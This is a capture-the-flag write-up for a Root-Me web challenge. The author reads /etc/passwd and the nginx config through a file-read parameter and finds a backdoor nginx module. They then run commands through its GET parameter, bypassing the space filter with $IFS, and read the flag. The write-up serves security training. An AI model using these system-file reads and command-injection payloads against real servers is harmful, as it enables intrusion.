Statement: Your trainee made a final commit on the last day of his course, and since then you’ve seen a huge influx of requests. Strangely, you can no longer connect to the server …
Can you analyse what’s going on?
Author : Elweth
Once on the site, I reach the following page :
I’ll start by trying to read the /etc/passwd
file to test the file read functionality :
# http://node3.challenges.ctf20k.root-me.org:42710/?filepath=%2Fetc%2Fpasswd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
messagebus:x:101:101::/nonexistent:/usr/sbin/nologin
Now that I know it’s possible to read system files, I start by looking at the headers returned by the web server to find potentially interesting files to read :
curl -I "http://node3.challenges.ctf20k.root-me.org:42710/"
HTTP/1.1 200 OK
Server: nginx/1.24.0
Date: Sat, 10 May 2025 10:06:40 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 1585
Connection: keep-alive
Thanks to the server response, I know that the web server works with nginx.
I start by trying to read nginx log files on the theory that the exploit could be log poisoning, but nothing conclusive.
After a few tries, I retrieve the contents of /etc/nginx/nginx.conf
:
worker_processes 1;
events {
worker_connections 1024;
}
http {
include mime.types;
default_type application/octet-stream;
server {
listen 80;
server_name localhost;
location / {
proxy_pass http://127.0.0.1:5000;
}
location /Th1s_3ndp0int_1s_S3cr3t {
# Private endpoint for the Nginx module developed by the trainee.
# I haven't taken the time to check the code yet ... it seems good.
# /usr/local/src/root-me-backdoor/ngx_http_root_me_backdoor_module.c
root_me_backdoor on;
}
}
}
Reading the configuration file, I notice the presence of the endpoint Th1s_3ndp0int_1s_S3cr3t
which refers to the nginx module /usr/local/src/root-me-backdoor/ngx_http_root_me_backdoor_module.c
.
Afterwards, I read the contents of the nginx module and I note the following points :
- The server responds only with a GET request :
if (r->method != NGX_HTTP_GET) {
return NGX_HTTP_NOT_ALLOWED;
}
- The presence of the r00t-m3.backd0or GET parameter :
ngx_str_t param_name = ngx_string("r00t-m3.backd0or");
- The r00t-m3.backd0or parameter is used to perform an RCE :
fp = popen(command, "r");
It’s now possible to execute commands via the following URL :
#http://node3.challenges.ctf20k.root-me.org:42710/Th1s_3ndp0int_1s_S3cr3t?r00t-m3.backd0or=id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
By performing various commands, I notice that spaces are not supported and that the output only returns the first line.
So I use the $IFS
variable to make spaces and pipe commands via tr$IFS'\\n'$IFS'='
to replace line ends with an = :
#http://node3.challenges.ctf20k.root-me.org:42710/Th1s_3ndp0int_1s_S3cr3t?r00t-m3.backd0or=ls$IFS-alh$IFS/|tr$IFS%27\\n%27$IFS%27=%27
# I've reformatted the output for the WU to make it easier to read.
total 88K
drwxr-xr-x 1 root root 4.0K May 10 16:25 .
drwxr-xr-x 1 root root 4.0K May 10 16:25 ..
-rwxr-xr-x 1 root root 0 May 10 16:25 .dockerenv
drwxr-xr-x 1 root root 4.0K May 7 08:20 app
drwxr-xr-x 1 root root 4.0K May 7 08:19 bin
drwxr-xr-x 2 root root 4.0K Aug 14 2024 boot
drwxr-xr-x 5 root root 340 May 10 16:25 dev
drwxr-xr-x 1 root root 4.0K May 10 16:25 etc
-rwxrwxrwx 1 root root 32 May 7 08:04 flag-9fb215456edeadc855c755846be83cc310a5d262aa5d9360dd27db9cd0141a9d
drwxr-xr-x 2 root root 4.0K Aug 14 2024 home
drwxr-xr-x 1 root root 4.0K May 7 08:19 lib
drwxr-xr-x 1 root root 4.0K May 7 08:18 lib64
drwxr-xr-x 2 root root 4.0K Apr 28 00:00 media
drwxr-xr-x 2 root root 4.0K Apr 28 00:00 mnt
drwxr-xr-x 2 root root 4.0K Apr 28 00:00 opt
dr-xr-xr-x 631 root root 0 May 10 16:25 proc
drwx------ 1 root root 4.0K May 7 08:20 root
drwxr-xr-x 3 root root 4.0K Apr 28 00:00 run
-rwxr-xr-x 1 root root 134 May 7 08:04 run.sh
All I have to do now is read the contents of the flag-9fb215456edeadc855c755846be83cc310a5d262aa5d9360dd27db9cd0141a9d
file to retrieve the flag :
#http://node3.challenges.ctf20k.root-me.org:42710/Th1s_3ndp0int_1s_S3cr3t?r00t-m3.backd0or=cat$IFS/flag-9fb215456edeadc855c755846be83cc310a5d262aa5d9360dd27db9cd0141a9d
RM{My_Tr4inee_B4ckd00r_My_Ng1nx}
Flag : RM{My_Tr4inee_B4ckd00r_My_Ng1nx}